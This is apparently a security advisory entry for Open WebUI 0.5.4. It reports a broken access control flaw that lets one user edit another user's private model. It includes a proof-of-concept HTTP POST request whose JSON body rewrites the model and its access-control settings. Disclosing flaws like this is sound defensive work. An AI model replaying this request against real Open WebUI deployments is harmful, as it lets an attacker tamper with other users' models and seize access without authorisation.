PT-2026-59369 · Pypi · Open-Webui
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N |
Summary
A user can modify another user's model even if its visibility is set to
Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.Details / PoC
The user 
Victim created a private model with the visibility set to private:
The user
Attacker can edit this model using the following POST request:POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base model id":"gpt-4o-POC","name":"testmodel","meta":{"profile image url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access control":{"read":{"group ids":[],"user ids":[]},"write":{"group ids":[],"user ids":[]}},"is active":true,"updated at":1737314575,"created at":1737121281}Request / Response
Impact
A user can modify another user's model even if its visibility is set to
Private. By changing the access permissions during editing, unauthorized access can be gained.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Open-Webui